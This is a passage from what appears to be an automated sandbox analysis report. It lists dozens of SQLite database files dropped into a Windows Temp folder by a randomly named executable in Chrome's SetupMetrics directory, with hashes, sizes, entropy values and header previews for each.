SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AHUfXYPeKm

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ALDDUOFTn5

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\AdnET5aA3W

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Aqq5UlXQsW

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B38q9I1oMS

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BHHvqRlk2R

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BL0CluBD4u

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BMeX7gKQEY

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BMzyWe16Zy

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BToP2xX05e

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Bcm8qdKh31

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CnI6ewTD64

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CoCwqOODQY

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DP4oxtj4vi

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DUZ3VVa60r

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DrSC7AqqNP

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EaHDP5MxON

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ed2XvvcNQw

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\En2BzmX98b

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EoVuK4B4b1

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EsVsCY3EVB

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FBHp110LgW

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FCausRs8bo

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FD0Q2dm1rO

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FILOvnaWbj

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FIs8YKLUK4

Download File

Process:	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe
